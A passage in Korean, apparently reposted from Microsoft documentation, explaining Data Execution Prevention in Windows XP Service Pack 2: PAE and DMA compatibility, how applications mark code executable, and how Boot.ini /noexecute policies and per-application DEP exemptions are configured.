32비트 모드에서 실행될 때는 장치가 모든 실제 주소 공간의 주소를 지정할 수 있습니다. PAE 모드에서는 데이터가 4GB 이상의 실제 주소에 존재할 수 있습니다. 이러한 제약 조건이 있는 장치가 이 시나리오에서 작동할 수 있도록 Windows 2000 Server 제품군 이상에서는 맵 레지스터에서 표시하는 32비트 주소를 제공하여 DMA 트랜잭션을 위해 이중 버퍼링을 제공합니다. 장치는 32비트 주소에 대해 DMA 트랜잭션을 수행할 수 있고 커널은 드라이버에 제공된 64비트 주소로 메모리를 복사합니다.

시스템이 PAE 모드를 설정하지 않은 채로 실행될 때는 32비트 장치의 해당 맵 레지스터를 실제 메모리에서 백업하지 않아도 됩니다. 즉, 모든 장치와 드라이버가 32비트 주소 공간 안에 포함되어 있기 때문에 이중 버퍼링이 필요하지 않습니다. 64비트 프로세서 기반 컴퓨터에서의 32비트 장치용 드라이버 테스트를 바탕으로 할 때 클라이언트에서 테스트한 대부분의 DMA 지원 드라이버는 무제한의 맵 레지스터를 예상하는 것으로 보입니다.

호환성 문제를 줄이기 위해 Windows XP 서비스 팩 2에서는 HAL(hardware abstraction layer)이 32비트 HAL DMA처럼 동작하도록 변경되었습니다. 시스템이 PAE 모드로 실행 중이면 변경된 HAL에서 무제한 맵 레지스터를 승인합니다. 또한 커널 메모리 관리자는 4GB 이상의 실제 주소를 모두 무시합니다.

4GB 한도를 초과하는 시스템 RAM은 Windows에서 주소를 지정할 수 없게 만들어 시스템에서 사용할 수 없게 됩니다. 4GB로 주소 공간을 제한하므로 32비트 DMA 버스 마스터 기능이 있는 장치에서는 4GB 한도를 초과하는 주소를 사용하는 트랜잭션을 볼 수 없습니다. 이와 같이 변경하면 트랜잭션을 이중으로 버퍼링할 필요가 없으므로 일부 드라이버에서 올바른 이중 버퍼링 지원 구현과 관련된 버그를 방지할 수 있게 됩니다.

HAL 및 메모리 관리자가 이와 같이 변경되면 데이터 실행 방지를 사용하는 Windows XP 서비스 팩 2를 실행하는 시스템에서 장치 드라이버 호환성 문제가 최소화될 것으로 예상됩니다.

시스템 호환성


DEP 호환성과 관련하여 마지막으로 고려할 사항은 4GB를 초과하는 실제 RAM을 지원할 수 있게 설계되어 있지 않는데도 PAE 모드가 설정되어 있는 시스템으로 인한 문제입니다. Microsoft는 프로세서가 PAE 모드에서 실행 중인 경우 하드웨어 적용 DEP 지원 프로세서를 사용하는 일부 시스템에서 부팅이 되지 않거나 다른 안정성 문제가 발생하는 것을 테스팅 과정에서 발견했습니다.

PAE 모드는 NX 프로세서 기능을 사용하기 위해 필수적입니다. 그러므로 시스템 디자이너 및 펌웨어 엔지니어는 시스템 칩셋 및 펌웨어가 4GB를 초과하는 실제 RAM을 지원하도록 설계되어 있지 않아도 시스템이 PAE 모드에서 실행될 수 있다는 점을 알아야 합니다.

특히 페이지 테이블 항목을 해석하여 운영 체제에서 실행한 명령을 확인하는 시스템 펌웨어를 고려해야 합니다. 프로세서가 PAE 모드에서 실행 중인 경우 페이지 테이블 항목의 길이는 64비트로 확장됩니다. 시스템 디자이너와 펌웨어 개발자는 운영 체제에서 실행한 명령을 안전하게 확인하는 방법에 대한 자세한 내용을 해당 프로세서 및 칩셋 공급업체에 문의하는 것이 좋습니다.

AMD 프로세서로 작업하는 시스템 디자이너는 "BIOS and Kernel Developer’s Guide for AMD Athlon™ 64 and AMD Opteron Processors."에서 자세한 정보를 얻을 수 있습니다. 이 설명서를 참조하려면 AMD Athlon™ 64 웹 사이트(http://go.microsoft.com/fwlink/?LinkId=28165)로 이동하여 "BIOS and Kernel Developer’s Guide for AMD Athlon™ 64 and AMD Opteron Processors."를 클릭하십시오.

Intel에서는 SMM(System Management Mode)에 대한 자세한 정보를 공개적으로 제공하지 않습니다. Intel 프로세서로 작업하는 시스템 디자이너는 Intel에 직접 문의하여 자세한 정보를 얻어야 합니다.

Windows의 PAE 모드 지원에 대한 자세한 내용은 Microsoft 웹 사이트(http://go.microsoft.com/fwlink/?LinkId=28166)에서 "Physical Address Extension - PAE Memory and Windows"를 참조하십시오.

이러한 문제를 해결하는 방법은 무엇입니까?


메모리의 실행 영역이 필요한 응용 프로그램에서 메모리를 할당할 때 PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE 또는 PAGE_EXECUTE_WRITECOPY 특성을 사용해야 합니다. 추가로 응용 프로그램은 기본 프로세스 힙이나 스택에서 실행할 수 없습니다.

DEP와 호환되지 않는 작업을 수행하는 대부분의 응용 프로그램은 호환성을 위해 업데이트해야 합니다. 또한 응용 프로그램은 SafeSEH를 사용하여 만들어지거나 해당 예외 처리기가 명시적으로 실행으로 표시된 메모리에 위치하게 해야 합니다.

응용 프로그램에서 VirtualAlloc() API(응용 프로그래밍 인터페이스)를 사용하여 적절한 메모리 보호 옵션을 적용하여 실행 메모리를 할당할 수 있습니다. 적어도 PAGE_EXECUTE 메모리 보호 옵션은 사용해야 합니다. 실행 코드가 생성된 이후에 응용 프로그램에서 메모리 보호를 설정하여 할당된 메모리에 쓰기 권한을 금지하는 것이 좋습니다.

응용 프로그램은 VirtualProtect() API를 사용하여 할당된 메모리에 쓰기 권한을 금지할 수 있습니다. 쓰기 권한을 허용하지 않으면 프로세스 주소 공간의 실행 영역을 최대한 보호할 수 있습니다.

악의적인 프로세스가 실행 영역에 코드를 삽입하기 위해 액세스를 시도하면 STATUS_ACCESS_VIOLATION 쓰기 예외가 발생합니다. 응용 프로그램은 주소 공간의 실행 영역을 가능한 작게 만들어야 합니다. 이렇게 하면 실행 메모리가 프로세스 주소 공간으로 삽입되고 실행되는 공격 범위가 줄어듭니다.

또한 정교한 응용 프로그램에서는 해당 가상 메모리의 레이아웃을 제어하고 실행?영역을 만들 수 있습니다. 이러한 응용 프로그램은 비실행 영역보다 낮은 메모리 공간에서 실행 영역을 찾으려고 합니다. 비실행 영역 아래에서 실행 영역을 찾으려는 목적은 버퍼 오버플로가 실행 메모리로 오버플로되지 않게 하기 위해서입니다.

소수의 실행 파일 및 라이브러리는 이미지 파일의 데이터 섹션에 실행 코드를 포함하고 있을 수 있습니다. 응용 프로그램이 데이터 섹션에 썽크로 알려진 작은 코드 세그먼트를 두는 경우가 있습니다. 그러나 섹션에 실행 특성이 적용되지 않은 경우 DEP는 메모리에 로드된 이미지 파일의 섹션을 비실행으로 표시합니다.

그러므로 데이터 섹션에 있는 실행 코드를 코드 섹션으로 마이그레이션해야 하거나 실행 코드를 포함하는 데이터 섹션을 실행으로 명시적으로 표시해야 합니다. 실행 코드가 있는 섹션에 대해 해당하는 섹션의 Characteristics 필드에 실행 특성 IMAGE_SCN_MEM_EXECUTE (0x20000000)를 추가해야 합니다.

Microsoft Visual Studio 제품과 함께 배포되는 Microsoft linker는 /SECTION 링커 옵션을 사용하여 섹션에 실행 특성을 추가할 수 있습니다. /SECTION 링커 옵션은 다음과 같은 형식을 가집니다.

/SECTION:Name,[E][R][W][S][D][K][L][P][X][,ALIGN=#]

E 값은 실행 특성 (0x20000000)을 나타냅니다. /SECTION 및 기타 Microsoft linker 옵션에 대한 자세한 내용은 MSDN 웹 사이트(http://go.microsoft.com/fwlink/?LinkId=28167)를 참조하십시오.

추가적으로 Microsoft COFF Binary File Editor(Editbin.exe) 유틸리티는 기존 이미지의 섹션 특성을 변경하는 데 사용할 수 있습니다. Editbin 유틸리티는 다음과 같은 형식을 가진 /SECTION 옵션을 사용합니다.

/SECTION:Name[=newname][,[[!]{CDEIKOMPRSUW}][A{1248PTSX}]]

EC 값은 각각 코드 및 실행 특성을 나타냅니다. Editbin 유틸리티 및 /SECTION 옵션에 대한 자세한 내용은 MSDN 웹 사이트(http://go.microsoft.com/fwlink/?LinkId=28168)를 참조하십시오.

Microsoft는 Windows XP SP2에서 DEP를 이용할 수 있도록 Microsoft .NET Framework v1.0 및 v1.1을 업데이트할 계획입니다. Microsoft .NET Framework 기반의 응용 프로그램은 계속해서 정상적으로 작동하지만 DEP는 설정해도 이용할 수는 없습니다.

Microsoft는 응용 프로그램 개발자가 Microsoft .NET Framework를 재배포하여 가능하면 DEP를 이용할 수 있는 Microsoft .NET Framework v1.0 서비스 팩 3이나 v1.1 서비스 팩 1로 업데이트할 것을 권장합니다.

Windows XP 서비스 팩 2에서 추가되거나 변경된 설정은 무엇입니까?


DEP의 시스템 전체 구성



시스템의 데이터 실행 방지 구성은 Boot.ini 스위치를 통해 제어됩니다. 또한 제어판에 있는 시스템을 변경하여 최종 사용자가 시스템에 관리자로 로그온한 경우 쉽게 DEP 설정을 구성하도록 할 수 있습니다.

Windows에서는 하드웨어 적용 DEP 및 소프트웨어 적용 DEP 모두에 대해 네 가지의 시스템 전체 구성을 지원합니다.





구성 설명

하드웨어 적용 DEP 및 소프트웨어 적용 DEP는 동일한 방법으로 구성됩니다. 시스템 전체 DEP 정책이 옵트인으로 설정되는 경우 동일한 Windows 핵심 바이너리와 응용 프로그램이 하드웨어 적용 DEP 및 소프트웨어 적용 DEP 모두에서 보호됩니다. 시스템이 하드웨어 적용 DEP를 사용할 수 없는 경우 Windows 핵심 바이너리와 응용 프로그램은 소프트웨어 적용 DEP에 의해서만 보호됩니다.

이와 유사하게 시스템 전체 DEP 정책이 옵트아웃으로 설정되는 경우 DEP 보호에서 제외된 응용 프로그램이 하드웨어 적용 DEP 및 소프트웨어 적용 DEP 모두에서 제외됩니다.

네 가지의 시스템 전체 DEP 구성이 boot.ini 스위치를 통해 제어됩니다. Boot.ini 설정은 다음과 같습니다.

/noexecute=policy_level

여기서 policy_levelAlwaysOn, AlwaysOff, OptIn 또는 OptOut으로 정의됩니다.

Windows XP SP2가 설치된 경우 또는 하드웨어 적용 DEP가 지원되는 컴퓨터 및 지원되지 않는 컴퓨터 간에 Windows 운영 체제 이미지가 이동되는 경우 Boot.ini 파일에 있는 기존 /noexecute 설정은 변경되지 않습니다.

Windows XP SP2를 설치하는 동안 다른 정책 수준을 무인 설치에 지정하지 않으면 OptIn 정책 수준이 기본적으로 사용됩니다. /noexecute=policy_level 설정이 DEP를 지원하는 Windows 버전의 부팅 항목에 없는 경우에는 /noexecute=OptIn 옵션이 포함된 경우와 동일하게 동작합니다.

관리자로 로그온한 최종 사용자는 시스템 속성 대화 상자의 데이터 실행 방지 탭을 사용하여 직접 OptInOptOut 정책 사이에 DEP를 구성할 수 있습니다. 다음 절차는 컴퓨터에서 DEP를 직접 구성하는 방법에 대해 설명합니다.





1. 시작, 제어판을 차례로 클릭한 다음 시스템을 두 번 클릭합니다.

IT 전문가는 다양한 방법으로 시스템 전체 DEP 구성을 제어할 수 있습니다. 스크립트 메커니즘을 사용하거나 Windows XP SP2에 포함되는 Bootcfg.exe 도구를 사용하여 Boot.ini 파일을 직접 수정할 수 있습니다.

Windows XP SP2를 무인 설치하기 위해 Unattend.txt 파일을 사용하여 특정 DEP를 미리 구성할 수 있습니다. Unattend.txt 파일의 [Data] 섹션에서 OSLoadOptionsVar 항목을 사용하여 시스템 전체 DEP 구성을 지정할 수 있습니다.

응용 프로그램별로 DEP 구성



응용 프로그램의 호환성을 위해 DEP를 OptOut 정책 수준으로 설정한 경우, 개별 32비트 응용 프로그램에 대해 DEP 해제를 선택적으로 설정할 수 있습니다.

최종 사용자를 위해 시스템 속성데이터 실행 방지 탭을 사용하여 응용 프로그램에 대해 DEP 해제를 선택적으로 설정할 수 있습니다.

IT 전문가를 위해 DisableNX라는 새로운 응용 프로그램 호환성 수정이 Windows XP 서비스 팩 2에 포함되어 있습니다. DisableNX 호환성 수정으로 인해 데이터 실행 방지가 적용되어 있는 프로그램에서 데이터 실행 방지를 사용할 수 없게 됩니다.

DisableNX 호환성 수정은 Application Compatibility Toolkit를 사용하여 응용 프로그램에 적용될 수 있습니다. Windows 응용 프로그램 호환성에 대한 자세한 내용은 Microsoft 웹 사이트(http://go.microsoft.com/fwlink/?LinkId=23302)에서 "Windows Application Compatibility"를 참조하십시오.

신고

+ Recent posts